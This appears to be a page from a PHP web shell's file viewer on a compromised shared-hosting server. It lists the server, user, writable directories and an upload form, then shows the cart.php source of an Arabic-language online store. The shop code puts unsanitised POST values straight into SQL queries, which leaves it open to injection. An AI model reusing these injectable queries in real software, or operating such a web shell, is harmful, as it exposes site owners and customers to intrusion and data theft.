Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium163.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : infihsqw ( 644)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /home/infihsqw/rawafed-sa.store/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/infihsqw/rawafed-sa.store/cart.php
<?php
include 'controlPanel/Database.php';
$db = new Database();
if (isset($_SESSION["user"])) {
    $user = $_SESSION["user"];

    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST["submit"])) {

            $submit = $_POST["submit"];
            $id = $_POST["id"];
            if ($submit == "plus") {

                $query = "UPDATE cart SET quantity = (quantity + 1) WHERE id = $id";
                $result = $db->dbQuery($query);
                if ($result) {
                    header("location:cart.php");
                }
            } elseif ($submit == "minus") {

                $query = "SELECT quantity FROM cart WHERE id = $id";
                $result = $db->dbQuery($query);
                if ($db->dbNumRows($result)) {
                    $rows = $db->dbFetchResult($result);
                    foreach ($rows as $row) {
                        $quantity = $row["quantity"];
                    }
                }

                if ($quantity > 1) {
                    $query = "UPDATE cart SET quantity = (quantity - 1) WHERE id = $id";
                    $result = $db->dbQuery($query);
                    if ($result) {
                        header("location:cart.php");
                    }
                } else {
                    $query = "DELETE FROM cart WHERE id = $id";
                    $result = $db->dbQuery($query);
                }
            }
        } elseif (isset($_POST["itemKey"])) {
            $itemKey = $_POST["itemKey"];

            $query = "DELETE FROM cart WHERE id = $itemKey";
            $result = $db->dbQuery($query);
            if ($result) {
                header("location:cart.php");
            }
        }
    }
}


?>
<html lang="ar" dir="rtl">

<head>
    <?php include "head.php"; ?>

    <style>
        .breadcrumb-item+.breadcrumb-item::before {
            font-family: 'Font Awesome 6 Free';
            content: '\f053' !important;
            font-weight: 600;
            font-size: 12px;
            margin-top: 5px;
        }

        .rounded{
            border-radius: 4px !important;
        }
    </style>
</head>

<body style="overflow: auto;" data-new-gr-c-s-check-loaded="14.1125.0" data-gr-ext-installed="">


    <div class="loaderk d-flex justify-content-center align-items-center" style="display: none; height: 0px;">
    </div>
    <?php include "header.php"; ?>
    <main>
        <main>
            <section class="mt-5 py-3" style="margin-bottom: 90px !important;">
            </section>
            <section class="container mt-3">
                <!-- <div class="d-flex align-items-center justify-content-center">
            <h6 class="text-start text-secondary">
                مراجعة الطلب
            </h6>
            <h6 class="text-start text-secondary mx-2">
                .......
            </h6>
            <h6 class="text-start text-secondary">
                عنوان
            </h6>
            <h6 class="text-start text-secondary mx-2">
                .......
            </h6>
            <h6 class="text-start text-secondary">
                الدفع
            </h6>
        </div> -->

                <nav aria-label="breadcrumb ">
                    <ol class="breadcrumb mt-4">
                        <li class="breadcrumb-item text-info"><a href="#" class="text-info text-decoration-none" style="font-size: 14px;">الرئيسية</a></li>
                        <li class="breadcrumb-item active" aria-current="page" style="font-size: 14px;">سلة المشتريات</li>
                    </ol>
                </nav>
                <div class="">

                    <?php
                    $db = new Database();
                    $price = 0;
                    $query = "SELECT * FROM `cart` WHERE `user` = $user";
                    $result = $db->dbQuery($query);
                    if (isset($_SESSION["user"])) {
                        if ($db->dbNumRows($result)) {
                            echo
                            '<div class="row my-2">
                    <div class="col-md-8 my-2">';
                            $rows = $db->dbFetchResult($result);
                            foreach ($rows as $row) {
                                $product_id = $row['product_id'];
                                $query = "SELECT * FROM products WHERE product_id = $product_id";
                                $result = $db->dbQuery($query);
                                if ($db->dbNumRows($result)) {
                                    $rows = $db->dbFetchResult($result);
                                    foreach ($rows as $rowp) {
                    ?>
                                        <div class="container rounded border bg-white " style="margin-bottom: 20px;">
                                            <div class="row align-items-center py-2">
                                                <div class="col-3 col-lg-2">
                                                    <div class="rounded border m-3">
                                                        <img class="ms-auto me-auto d-md-block d-none w-100" src="uploads/<?= $rowp['image']; ?>" alt="<?= $rowp['name']; ?>">
                                                        <div class="row">
                                                            <img class="ms-auto me-auto d-md-none w-100" src="uploads/<?= $rowp['image']; ?>" alt="<?= $rowp['name']; ?>">
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="col-7  col-lg-4 mt-md-0 mt-3 px-0 mx-0">
                                                    <a href="product.php?product_id=<?= $rowp['product_id']; ?>" class=" text-decoration-none h6 d-block text-dark text-start">
                                                        <?= $rowp['name']; ?>
                                                    </a>

                                                    <span class="text-black-50"> <?= $rowp['dec'] == 0 ? $rowp['price'] * $row['quantity'] : ($rowp['price'] - $rowp['dec']) * $row['quantity'] ?> <?= $db->get_setting('currancy') ?>
                                                    </span>

                                                    
                                                </div>

                                                <div class="col-2 col-lg-1 mt-md-0 my-2 d-block d-lg-none">
                                                    <form action="cart.php" method="POST">
                                                        <input type="hidden" name="itemKey" value="<?= $row['id']; ?>" id="">
                                                        <div>
                                                            <button name="deleteItem" style="background-color: transparent; border:none;"> <i class="fa-solid fa-circle-xmark" name="deleteItem" style="color: #ff6a79;cursor:pointer;font-size:25px;"></i>
                                                            </button>
                                                        </div>
                                                    </form>
                                                </div>

                                                <div class="col-12 col-lg-5 my-3 px-0">
                                                    <div class="container">
                                                        <div class="row align-items-center ">
                                                            <div class="col-7 ps-3 ps-lg-0">
                                                                <form action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="POST" class="row align-items-center justify-content-center justify-content-lg-start">
                                                                    <input type="hidden" name="id" value="<?= $row['id']; ?>" id="">
                                                                    <button value="plus" name="submit" class="text-center form-control" style="width: 50px !important;height:40px !important;border-radius:0 !important;border-color:#e5e7eb !important ;border-top-right-radius: 5px !important;border-bottom-right-radius: 5px !important;">
                                                                        <i class="fa fa-plus text-black-50" aria-hidden="true"></i>
                                                                    </button>

                                                                    <input type="text" class="text-center form-control" style="width: 50px;height:40px !important;border-radius:0 !important;border-color:#e5e7eb !important ;" value="<?= $row['quantity']; ?>" name="" id="quantity">
                                                                    <button value="minus" name="submit" class="text-center form-control" style="width: 50px !important;height:40px !important;border-radius:0 !important;border-top-left-radius: 5px !important;border-color:#e5e7eb !important ;border-bottom-left-radius: 5px !important;">
                                                                        <i class="fa fa-minus text-black-50" aria-hidden="true"></i>
                                                                    </button>
                                                                </form>
                                                            </div>
                                                            <div class="col-5 text-end fs-6 fw-bold">
                                                                المجموع:
                                                                <?php 
                                            
                                                            echo($rowp['dec'] == 0 ? $rowp['price'] * $row['quantity'] : ($rowp['price']-$rowp['dec']) * $row['quantity']);
                                                                ?>
                                                           <?= $db->get_setting('currancy') ?>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="col-1 col-lg-1 mt-md-0 my-2 d-none d-lg-block">
                                                    <form action="cart.php" method="POST">
                                                        <input type="hidden" name="itemKey" value="<?= $row['id']; ?>" id="">
                                                        <div>
                                                            <button name="deleteItem" style="background-color: transparent; border:none;"> <i class="fa-solid fa-circle-xmark" name="deleteItem" style="color: #ff6a79;cursor:pointer;font-size:25px;"></i>
                                                            </button>
                                                        </div>
                                                    </form>
                                                </div>
                                            </div>
                                        </div>
                            <?php
                                        $price += $rowp['dec'] == 0 ? $rowp['price'] * $row['quantity'] : ($rowp['price']-$rowp['dec']) * $row['quantity'];
                                    }
                                }
                            } ?>
                </div>
                <div class="col-md-4 text-secondary">
                    <div class="container rounded bg-white border my-2 px-4 py-4">
                        <h5 class=" py-3 mb-1 fw-bold text-black" style="font-size: 14px;">ملخص الطلب</h5>
                        <div class="row my-2 mb-4">
                            <div class="col-6" style="font-size: 14px;">قيمة المنتجات :</div>
                            <div class="col-6 text-end fw-bold text-black">0 <?= $db->get_setting('currancy') ?></div>
                        </div>
                        <div class="row my-2 border-top pt-4">
                            <div class="col-6 " style="font-size: 14px;">
                                <div class="form-check ps-0">
                                    <input class="form-check-input me-2" checked type="radio" name="flexRadioDefault" id="flexRadioDefault1">
                                    <label class="form-check-label" for="flexRadioDefault1">
                                        أرامكس
                                    </label>
                                </div>
                            </div>
                            <div class="col-6 text-end fw-bold">23 <?= $db->get_setting('currancy') ?></div>
                        </div>

                        <div class="row my-2">
                            <div class="col-6" style="font-size: 14px;">
                                <div class="form-check ps-0">
                                    <input class="form-check-input me-2" type="radio" name="flexRadioDefault" id="flexRadioDefault1">
                                    <label class="form-check-label" for="flexRadioDefault1">
                                        سمسا
                                    </label>
                                </div>
                            </div>
                            <div class="col-6 text-end fw-bold">40 <?= $db->get_setting('currancy') ?></div>
                        </div>


                        <div class="row my-2  pt-2 text-dark fw-semibold">
                            <div class="col-6 text-black-50" style="font-size: 14px;">الإجمالي</div>
                            <div class="col-6 text-end fw-bold"> <?= $price; ?>.00 <?= $db->get_setting('currancy') ?></div>
                        </div>
                        <div class="row mt-5 mb-3">
                            <!-- <div class="col-6">
                                <a href="index.php" class="btn w-100 btn-outline-dark">
                                    <i class="fas fa-angle-right fa-fw"></i>
                                    العودة للتسوق
                                </a>
                            </div> -->
                            <div class="col-12 text-end">
                                <form action="order.php" method="GET">
                                    <input type="hidden" name="totalPrice" value="<?= $price; ?>" id="">
                                    <button name="order" class="btn w-100 primaryColor">
                                        اتمام الطلب
                                        <!-- <i class="fas fa-angle-left fa-fw"></i> -->
                                    </button>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
                </div>
        <?php } else {
                            echo '<div class="row my-2">
                            <!-- itmes -->
                            <div class="col-md-12 my-2">
                                
                                <div class="container rounded  bg-white p-5 text-center " style="color: #121f41;">
                                    <div class="mt-3" style="width:8rem;height:8rem;border-radius:50%;padding:10px;text-align:center;background-color:#f3f4f6;margin:auto;line-height:4rem">
                                    <i class="fa-solid fa-bag-shopping" style="font-size: 50px;color:gray;margin-top:25px;"></i>
                                    </div>
                                    <div class="my-4 fs-5">
                                    السلة فارغة
                                    </div>
                                    <div class="">
                                        <a href="index.php" class="btn btn-outline-secondary">عودة للرئيسية</a>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-4 text-secondary d-none">
                                <div class="container rounded bg-white shadow border my-2 px-3 py-2">
                                    <h5 class="border-bottom py-3 mb-3 fw-normal">تفاصيل الفاتورة</h5>
                                    <div class="row my-2">
                                        <div class="col-6">قيمة المنتجات :</div>
                                        <div class="col-6 text-end">0 ' . $db->get_setting('currancy') . '</div>
                                    </div>
                                    <div class="row my-2">
                                        <div class="col-6">التوصيل:</div>
                                        <div class="col-6 text-end">00.00 ' . $db->get_setting('currancy') . '</div>
                                    </div>
                                    <div class="row my-2 border-top pt-2 text-dark fw-semibold">
                                        <div class="col-6">المجموع الكلي :</div>
                                        <div class="col-6 text-end text-success">0 ' . $db->get_setting('currancy') . '</div>
                                    </div>
                                    <div class="row mt-5 mb-3">
                                        <div class="col-12">
                                            <a href="index.php" class="btn w-100 btn-outline-dark">
                                                <i class="fas fa-angle-right fa-fw"></i>
                                                متابعة التسوق
                                            </a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>';
                        }
                    } else {
                        echo '<div class="row my-2">
                            <!-- itmes -->
                            <div class="col-md-8 my-2">
                                
                                <div class="container rounded border bg-white shadow p-5 text-center " style="color: #121f41;">
                                    <div class="mt-3">
                                        <i class="fas fa-cart-plus fa-5x"></i>
                                    </div>
                                    <div class="my-4 fs-5">
                                        يبدو أنك لم تشتري شئ !!
                                    </div>
                                    <div class="">
                                        <a href="index.php" class="btn btn-outline-secondary w-75">تسوق الأن</a>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-4 text-secondary">
                                <div class="container rounded bg-white shadow border my-2 px-3 py-2">
                                    <h5 class="border-bottom py-3 mb-3 fw-normal">تفاصيل الفاتورة</h5>
                                    <div class="row my-2">
                                        <div class="col-6">قيمة المنتجات :</div>
                                        <div class="col-6 text-end">0 ' . $db->get_setting('currancy') . '</div>
                                    </div>
                                    <div class="row my-2">
                                        <div class="col-6">التوصيل:</div>
                                        <div class="col-6 text-end">00.00 ' . $db->get_setting('currancy') . '</div>
                                    </div>
                                    <div class="row my-2 border-top pt-2 text-dark fw-semibold">
                                        <div class="col-6">المجموع الكلي :</div>
                                        <div class="col-6 text-end text-success">0 ' . $db->get_setting('currancy') . '</div>
                                    </div>
                                    <div class="row mt-5 mb-3">
                                        <div class="col-12">
                                            <a href="index.php" class="btn w-100 btn-outline-dark">
                                                <i class="fas fa-angle-right fa-fw"></i>
                                                متابعة التسوق
                                            </a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>';
                    } ?>

        </div>
            </section>

            <a href="https://wa.me/<?= $db->get_setting('whatsapp') ?>" class="contact p-1 rounded-circle text-center" style="background-color:#4dc247;width:50px;height:50px;" >
                <i class="fab fa-whatsapp text-white my-1 fa-2x"></i>
            </a>
        </main>
        <?php
        include "footer.php";
        include "script.php";
        ?>


    </main>
</body>

</html>

ZeroDay Forums Mini